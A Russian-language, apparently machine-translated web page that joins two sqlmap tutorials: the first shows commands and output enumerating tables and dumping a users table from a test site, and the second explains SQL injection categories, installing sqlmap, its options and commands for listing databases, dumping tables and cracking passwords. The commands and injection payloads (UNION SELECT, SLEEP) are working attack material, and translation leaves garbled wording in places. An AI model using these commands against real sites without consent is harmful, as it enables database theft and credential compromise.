Давайте извлечем таблицы из базы данных, используя уязвимость SQL Injection, которую мы подтвердили выше. Как вы увидите в выводе ниже, мы можем продолжить тестирование цели без повторного тестирования уязвимости. SQLmap использует известную ему информацию о сайте для дальнейшего использования целевой базы данных.

Чтобы получить данные, мы просто добавляем параметр к предыдущей команде. Добавив --tables , мы можем попытаться получить все таблицы.

 elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py -u 'http://mytestsite.com/page.php?id=5' --tables

        ___
       __ЧАС__
 ___ ___[']_____ ___ ___ {1.5.2.12#dev}
|_ -| . ['] | .'| . |
|___|_["]_|_|_|__,| _|
      |_|В... |_| http://sqlmap.org


[!] Правовая оговорка: Использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут никакой ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой. 

[*] с 12:59:04

[12:59:04] [INFO] возобновление работы серверной СУБД 'mysql'
[12:59:04] [INFO] проверка подключения к целевому URL
sqlmap возобновил следующие точки внедрения из сохраненного сеанса:
---
Параметр: идентификатор (GET)
    Тип: слепой на основе логического значения
    Заголовок: логические слепые И - предложение WHERE или HAVING
    Полезная нагрузка: id=1 И 9561=9561

    Тип: слепой по времени И/ИЛИ
    Заголовок: MySQL >= 5.0.12 И слепой по времени
    Полезная нагрузка: id=1 И SLEEP(5)

    Тип: запрос UNION
    Заголовок: Общий запрос UNION (NULL) — 3 столбца
    Полезная нагрузка: ud=-6630 UNION ALL SELECT NULL,CONCAT(0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x716b767a71),NULL-- mIJj
---
[12:59:05] [INFO] серверная СУБД — MySQL
технология веб-приложений: Nginx, PHP 5.3.10
серверная СУБД: MySQL >= 5.0.12

База данных: книги
[8 столов]
+------------------------------------------------------+
| автор |
| покупательские тележки |
| категории |
| признакам |
| гостевая |
| фотографии |
| продукты |
| пользователи |
+------------------------------------------------------+

База данных: information_schema
[28 таблиц] == вырезано ==
+------------------------------------------------------+
| CHARACTER_SETS |
| ПОДБОРКИ |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| КОЛОННЫ |
| ТРИГГЕРЫ |
| ПРИВИЛЕГИИ ПОЛЬЗОВАТЕЛЯ |
| ВИДЫ |
+------------------------------------------------------+

[12:59:21] [INFO] извлек данные, записанные в текстовые файлы в папке '/home/elliot/. sqlmap/output/mytestsite.com'

[*] завершение работы в 12:59:21 
Дамп данных

Чтобы получить данные, мы просто расширяем нашу команду. Добавление -T пользователей сосредоточит внимание на таблице пользователей, где мы могли бы получить некоторые учетные данные. Добавление --dump укажет SQLmap получить все данные из таблицы пользователей, сначала будут перечислены столбцы, а затем данные будут выгружены из столбцов.

 elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py -u 'http://mytestsite.com/page.php?id=5' --tables

        ___
       __ЧАС__
 ___ ___[']_____ ___ ___ {1.5.2.12#dev}
|_ -| . ['] | .'| . |
|___|_["]_|_|_|__,| _|
      |_|В... |_| http://sqlmap.org


[!] Правовая оговорка: Использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут никакой ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой. 

[*] с 12:59:04

[12:59:04] [INFO] возобновление работы серверной СУБД 'mysql'
[12:59:04] [INFO] проверка подключения к целевому URL
sqlmap возобновил следующие точки внедрения из сохраненного сеанса:
--- СНИП -----
База данных: пользователи
Таблица: пользователи
[1 запись]
+----------+-------------------------------------------------+--- ---+-------+----------+-------------------------+--- --------------+
| имя | тележка | пройти | пользователь | телефон | электронная почта | адрес |
-------------------------+-------------------------------------------------+--- ---+-------+----------+-------------------------+--- --------------+
| Эллиот | 55207107sfefsff8e7f2fa5ef4fa00f6 | тест | тест | 4563454 | поддельный@testtest.com | |
+----------+-------------------------------------------------+--- ---+-------+----------+-------------------------+--- --------------+

[13:08:36] [INFO] таблица 'users' сброшена в CSV-файл '/home/fred/.sqlmap/output/mytestsite/dump/books/users.csv'
[13:08:36] [INFO] извлек данные, записанные в текстовые файлы в папке '/home/fred/. sqlmap/output/mytestsite'

[*] выключение в 13:08:36 

Советы по SQLmap. Станьте настоящим ниндзя в тестировании SQL-инъекций

Подробный вывод

При тестировании на SQL-инъекции часто необходимо копаться в запросах вручную, чтобы определить проблемы с тестом или подтвердить или даже дополнительно использовать обнаруженную инъекцию . Возможность увеличить детализацию вывода SQLmap поможет в этом тестировании.

Увеличив уровень детализации до 4, вы можете получить HTTP-запросы, при 5 вы также увидите заголовки ответов HTTP, а 6 покажет полный ответ HTTP. Очевидно, что это может стать очень шумным, но иногда вам нужно увидеть, что происходит.

Учетные данные базы данных есть?

Этот удобный совет позволяет напрямую подключаться к базе данных и выгружать данные, такие как пользователи, базы данных или таблицы. Хорошая вещь в этом заключается в том, что вам не нужно запоминать синтаксис SQL для базы данных или устанавливать клиент. SQLmap выполнит тяжелую работу, действуя как клиент базы данных для дампа данных.

Строки подключения к БД:
MySQL, Oracle, Microsoft SQL Server, PostgreSQL
 DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME 
SQLite, Microsoft Access
 DBMS://DATABASE_FILEPATH 

Выталкивание оболочек и многое другое

SQLmap имеет невообразимое количество опций и является удивительным инструментом для того, чтобы стать единым целым с базой данных. Помимо запуска шеллов на целевом хосте, вы можете отправлять запросы через tor, автоматически находить инъекции в ответах страниц, сайты-пауки и, конечно же, выполнять тестирование на основе HTTP POST. Эти примеры лишь царапают поверхность. Найдите больше примеров на отличной вики-странице github.

SQL-инъекция по-прежнему остается излюбленной целью злоумышленников.

Используйте наш сканер SQL-инъекций для проверки вводимых параметров в веб-URI.

Тест внедрения sql

Тестирование следующего уровня с помощью передовых сканеров уязвимостей безопасности.

Надежные инструменты. Хостинг для легкого доступа.

Варианты использования и дополнительная информация

Команды для атак с помощью SQL-инъекций + PDF и JPG

Мы финансируемся нашими читателями и можем получать комиссию, когда вы покупаете по ссылкам на нашем сайте.

Sqlmap — это инструмент тестирования на проникновение для баз данных. Поскольку базы данных управляют большинством веб-сайтов, вам необходимо проверить этот инструмент безопасности.

Стивен Купер

@VPN_News ОБНОВЛЕНО: 6 июня 2022 г. 56 . Если вы запускаете веб-сайт, вы уязвимы для ряда хакерских атак на основе SQL, которые могут скомпрометировать базу данных, лежащую в основе многих функций сайта. Если хакеры могут проникнуть в вашу сеть и заразить конечную точку, они также могут использовать методы SQL-инъекций, чтобы скомпрометировать те базы данных, которые поддерживают функции бэк-офиса .

База данных лежит в основе информационной системы вашего бизнеса. Он управляет обменом данными в системах ERP и хранит конфиденциальные данные , такие как записи о клиентах и ​​информацию об оборотах. Чтобы полностью понять потенциальную уязвимость в этой области, вам необходимо знать, что такое атака с внедрением SQL.

Атаки путем внедрения SQL

SQL — это язык структурированных запросов . Это язык, который программы используют для доступа к данным в реляционная база данных . Язык также включает команды для обновления или удаления данных, хранящихся в таблицах базы данных.

Для конечных пользователей доступ к базе данных осуществляется через форму, которая будет либо на веб-странице, либо во внешнем интерфейсе программного обеспечения для бизнеса. Поле, в которое вы вводите запрос на странице Google, является примером этого. Код за экраном принимает ввод, который пользователи вводят в поле, и оборачивает его в SQL-запрос. Затем он отправляется в базу данных для извлечения совпадающих записей.

Хакеры нашли способы поместить в поле ввода полную инструкцию SQL или ее часть. Это может обмануть механизмы обработки запросов, встроенные в форму, и передать всю SQL-инструкцию в базу данных, а не отправлять ввод в качестве значения запроса.

Этот чит называется « SQL-инъекция » и может дать хакерам полный доступ к вашей базе данных, минуя элементы управления, встроенные в код приложения или веб-страницы, содержащей поле ввода.

Атаки путем внедрения кода SQL могут позволить хакерам украсть всю базу данных или обновить значения. Возможность изменения данных в базе данных позволяет хакерам украсть деньги . Представьте, если бы клиент мог изменить баланс на счете с отрицательной суммы на положительную. В автоматизированных системах это приведет к оплате, и хакеры смогут скрыться с этими деньгами до того, как кто-либо в бизнесе узнает об ошибке.

См. также : Лучшие средства мониторинга SQL Server

Классификация атак путем внедрения SQL-кода

Проект Open Web Application Security Project (OWASP) создает список из 10 основных уязвимостей системы, который считается окончательным списком уязвимостей, которые следует искать. Сканеры уязвимостей обещают проверить OWASP Top 10 . SQL-инъекция — главная угроза, указанная OWASP. Организация разбивает эту категорию на четыре типа.

  • Классическая SQL-инъекция
  • Слепая или инференсная SQL-инъекция
  • SQL-инъекция, специфичная для СУБД
  • Составная SQL-инъекция

Эти категории разбиты по отраслям. Атака Classic SQL Injection также известна как Внутриполосная атака . В эту категорию входят два возможных метода — SQLI на основе ошибок и SQLI на основе объединения.

Атаки со сложным внедрением SQL добавляют еще один тип хакерской атаки к действию внедрения SQL. Это:

  • Атаки аутентификации
  • DDoS-атаки
  • Перехват DNS
  • Межсайтовый скриптинг (XSS)

В интересах краткости в этом руководстве, которое сосредоточено на sqlmap , определение этих стратегий атаки здесь не рассматривается.

Проверка на наличие уязвимостей SQL-инъекций

Sqlmap позволяет опробовать типы атак, которые хакеры реализуют в базах данных. Это позволяет вам увидеть, защищены ли ваши системы от атаки .

Хакеры постоянно изобретают новые стратегии атак. Однако способы работы реляционных баз данных и SQL означают, что существует ограниченное количество типов атак, которые будут работать. Другими словами, новые атаки всегда являются вариациями на тему . Если у вас есть инструмент, который может обеспечить защиту от общих категорий атак, вы можете быть уверены, что обнаружили все возможные уязвимости.

Проверка sqlmap предпринимает попытку атаки в каждой из нескольких категорий — всего их шесть. Если одна из этих атак следует за , вы знаете, что у вас есть серьезная проблема, и часть интерфейса, которая выходит на вашу базу данных, должна быть переписана, чтобы заблокировать эту атаку.

Типы атак, которые пытается выполнить sqlmap:

  • Слепая инъекция SQL на основе логических значений
  • Слепая SQL-инъекция на основе времени
  • SQL-инъекция на основе ошибок
  • SQL-инъекция на основе объединения
  • Запросы с накоплением
  • Внеполосные атаки

Определения, используемые разработчиками sqlmap, не соответствуют в точности категориям, используемым OWASP. Список включает оба типа Классическая инъекция SQL и оба типа Слепая инъекция SQL .

Стратегия атаки на стекированные запросы, выполняемая sqlmap, должна охватывать то, что OWASP называет атаками, специфичными для СУБД . Категория комбинированных атак OWASP не имеет отношения к системе обнаружения sqlmap, ориентированной на SQL Injection.

По логике вещей, если вы можете гарантировать, что ваша система не уязвима для атаки с внедрением SQL-кода, она автоматически не будет уязвима для комбинированной атаки. Тем не менее, вы должны использовать другие инструменты для проверки пера , чтобы проверить, уязвим ли ваш сайт для DDoS-атак, XSS или перехвата DNS. Все системы постоянно подвержены атакам аутентификации — вам необходимо обеспечить безопасную стратегию управления идентификацией и доступом, чтобы защитить свой бизнес от угрозы взлома аутентификации .

Система sqlmap проверяет работу со следующими СУБД:

MySQL Microsoft SQL Server Microsoft Access МарияДБ
Oracle PostgreSQL         IBM DB2 SQLite
Firebird Sybase SAP MaxDB Informix
MemSQL TiDB CockroachDB HSQLDB
h3 MonetDB Apache Derby Apache Ignite
Amazon Redshift Vertica Маккой Престо
Altibase MimerSQL CrateDB Greenplum
Морось Cubrid InterSystems Cache IRIS
eXtremeDB FrontBase YugabyteDB Виртуоз
Диспетчер баз данных Raima

Системные требования для sqlmap

Вы можете установить sqlmap на Windows , macOS и Linux .

Система sqlmap написана на языке Python, поэтому для запуска sqlmap необходимо установить на компьютер Python 2.6 или более позднюю версию. Текущая версия на июль 2021 года — 3.9.

Чтобы узнать, установлен ли у вас Python, в Windows откройте командную строку и введите python –version . Если у вас нет Python, вы увидите сообщение, предлагающее вам снова ввести python без параметров. Тип python , и это откроет Microsoft Store с настроенным для загрузки пакетом Python. Нажмите кнопку Получить и следуйте инструкциям по установке.

Если у вас macOS, введите python — версия . Если вы получили сообщение об ошибке, введите следующие команды:

 $ xcode-select --install
$ ruby ​​-e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
$ brew install python3 

В этих строках $ представляет системную подсказку — не вводите ее.

Если у вас Linux, у вас уже установлен Python.

Установить sqlmap

Чтобы установить sqlmap:

  1. Перейдите на веб-сайт проекта sqlmap по адресу sqlmap.org.
  2. Если у вас Windows, нажмите кнопку Загрузить ZIP-файл . Если у вас macOS или Linux, нажмите кнопку Загрузить файл .tar.gz .
  3. Распакуйте сжатый файл.

Ваша система автоматически присвоит каталогу такое же имя, как и сжатому файлу. Однако это очень длинное имя, поэтому выберите для нового каталога просто имя sqlmap. Неважно, где на вашем компьютере вы создаете этот каталог.

Запуск sqlmap

Система sqlmap представляет собой утилиту командной строки. Для него нет графического интерфейса. Итак, перейдите в командную строку на своем компьютере, чтобы использовать sqlmap. Перейдите в созданный вами каталог sqlmap, чтобы запустить утилиту. Вам не нужно компилировать никакую программу.

Программа, которую вы запускаете для использования sqlmap, называется sqlmap. py. Она не запустится, если вы не добавите параметр в конец имени программы.

Варианты для sqlmap:

-u URL


Целевой URL

Формат: -u » http://www.target.com/path/file.htm? переменная=1″


-d DIRECT


Строка подключения для прямого подключения к базе данных

Формат: -d DBMS://DATABASE_FILEPATH или

-d DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME


-l LOGFILE


Разобрать цели из файла журнала прокси Burp или WebScarab


-m BULKFILE


Сканировать несколько целей, указанных в текстовом файле

Формат: Файл должен содержать URL-адрес в строке


-r REQUESTFILE


Загрузить HTTP-запрос из файла

Формат: Файл может содержать транзакцию HTTP или HTTPS


9028 9

-g GOOGLEDORK


Обработка результатов Google dork в качестве целевых URL-адресов


-c CONFIGFILE


Загрузить параметры из INI-файла конфигурации


—wizard


Служба управляемого исполнения


—update


Обновить sqlmap до последней версии


—purge


Очистить папку данных sqlmap


—purge-output


См. выше


—dependencies


Проверить отсутствие зависимостей sqlmap


-h


Основная помощь


-hh


Дополнительная помощь


— версия


Показать номер версии


Вы не сможете запустить sqlmap без одной из этих опций. Есть многие другие параметры и часто необходимо ввести несколько параметров последовательно в командную строку.

Для полной атаки требуется так много параметров и входных данных, что проще поместить все эти параметры в файл, а затем вызвать файл, а не вводить их все. В этом сценарии принято сохранять все параметры. в текстовый файл с расширением .INI. Вы должны включить этот список параметров в командную строку с параметром -c, за которым следует имя файла. Этот метод исключает повторный ввод всей длинной команды снова и снова, чтобы учесть орфографические ошибки или ошибки формата.

Дополнительные параметры sqlmap

Существует много других параметров, которые можно добавить в команду sqlmap . Параметры опции, основанные на символах, должны быть заключены в двойные кавычки (» «), числовые параметры не должны заключаться в кавычки.

В интересах краткости в этом руководстве мы представили все это в файле PDF:

Щелкните изображение выше, чтобы открыть полную памятку sqlmap   JPG в новом окне или щелкните здесь, чтобы загрузить памятку по sqlmap PDF .

Запуск сканирования атак путем внедрения SQL с помощью sqlmap

Большое количество параметров, доступных для sqlmap, обескураживает. Слишком много вариантов нужно прочесать, чтобы понять, как сформировать атаку SQL-инъекцией. Лучший способ получить знания о том, как выполнять различные типы атак, — это учиться на примере .

Чтобы узнать, как работает тестовая система sqlmap, попробуйте выполнить следующий тестовый запуск, заменив маркер URL вашего сайта. Вам необходимо включить схему в начале URL-адреса (http или https).

 $ sqlmap.py -u “” --batch --banner 

Эта команда инициирует прогон всех процедур sqlmap, предлагая вам варианты выполнения теста по мере его выполнения.

Система покажет время начала теста. Каждая строка отчета включает время завершения каждого теста.

Служба sqlmap проверит соединение с веб-сервером, а затем просканирует различные аспекты сайта. Эти атрибуты включают в себя набор символов сайта по умолчанию, проверку на наличие системы защиты , такие как брандмауэр веб-приложений или системы обнаружения вторжений.

На следующем этапе теста определяется СУБД, используемая для сайта. Он предпримет попытку серии атак для проверки уязвимости базы данных сайта. К ним относятся:

  • Атака ввода GET — определяет уязвимость к атакам Classic SQLI и XSS
  • Атаки, специфичные для СУБД
  • Слепой SQLI на основе логических значений
  • Система запросит уровень и значение риска. Если они достаточно высоки, он будет запускать слепой SQLI 9 на основе времени.0206
  • Атака SQLI на основе ошибок
  • SQLI на основе UNION, если значения уровня и риска достаточно высоки
  • Запросы с накоплением

В ответ на параметр баннера, используемый в этом запуске, sqlmap завершает свой запуск, выбирая баннер базы данных . Наконец, все извлеченные данные с пояснениями их значений записываются в лог-файл .

Как видите, без многих опций, заданных в команде, система sqlmap выполнит стандартную серию атак и будет сверяться с пользователем для принятия решений по глубине теста по мере прохождения теста.

Небольшое изменение в команде запустит ту же серию тестов, но с использованием POST в качестве метода тестирования вместо GET .

Попробуйте выполнить следующую команду:

 $ sqlmap.py -u “” --data="id=1" --banner 

Взлом пароля с помощью sqlmap

Изменение всего одного слова в Первая команда, используемая в предыдущем разделе, даст вам ряд тестов, чтобы увидеть, есть ли слабые места в системе управления учетными данными вашей базы данных.

Введите следующую команду:

 $ sqlmap.py -u «» --batch --password 

Опять же, вам нужно заменить URL вашего сайта на маркер .

Когда вы запустите эту команду, sqlmap инициирует серию тестов и предложит вам ряд опций.

При запуске sqlmap будет предпринята слепая атака SQLI на основе времени, а затем слепая атака на основе UNION. Затем он даст вам возможность сохранить хэши паролей в файл для анализа с помощью другого инструмента, а затем даст возможность атаковать по словарю.

Службы будут пробовать серию известных имен учетных записей пользователей и циклически просматривать список часто используемых паролей для каждого имени пользователя-кандидата. Это называется атакой « кассетная бомба ». Набор файлов sqlmap включает в себя файл полезной нагрузки для этой атаки, но вместо этого вы можете предоставить свой собственный файл.

Всякий раз, когда sqlmap встречает комбинацию имени пользователя и пароля, она отображается. Все действия для выполнения затем записываются в файл журнала, прежде чем программа завершит свое выполнение.

Получите список баз данных в вашей системе и их таблиц

Информация — это сила, и хакерам сначала нужно знать, какие экземпляры базы данных есть в вашей системе, чтобы взломать их. Вы можете узнать, могут ли злоумышленники легко получить доступ к этой базовой информации с помощью следующей команды:

 $ sqlmap.py -u “” --batch --dbs 

атаки на основе ошибок и SQL-инъекций на основе UNION. Затем он определит бренд СУБД, а затем перечислит имена баз данных. Информация, полученная во время тестового прогона, затем записывается в файл журнала по завершении программы.

Изучите немного дальше и получите список таблиц в одной из этих баз данных с помощью следующей команды.

 $ sqlmap.py -u “” --batch --tables -D  

Введите имя одного из экземпляров базы данных, которые вы получили из списка в первом запросе этого раздела.

Этот тестовый пакет включает в себя атаки SQL-инъекций на основе времени, ошибок и UNION. Затем он перечислит имена таблиц, которые находятся в указанном экземпляре базы данных. Эти данные записываются в файл журнала по завершении программы.

Получите содержимое одной из этих таблиц с помощью следующей команды:

 $ sqlmap.py -u “” --batch --dump -T  -D  

Замените имя одной из таблиц, которые вы обнаружили для маркера

в этом формате команды.

Тест выполнит атаку SQL-инъекции на основе UNION, а затем запросит именованную таблицу, показывая ее записи на экране. Эта информация записывается в файл журнала, после чего программа завершает работу.

Ознакомьтесь со шпаргалкой

Команды, показанные в этом руководстве, — это только начало. Успешное выполнение этих тестов придаст вам уверенности при просмотре нашего PDF-файла Cheat Sheet по sqlmap и использовании других тестов SQL-инъекций.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *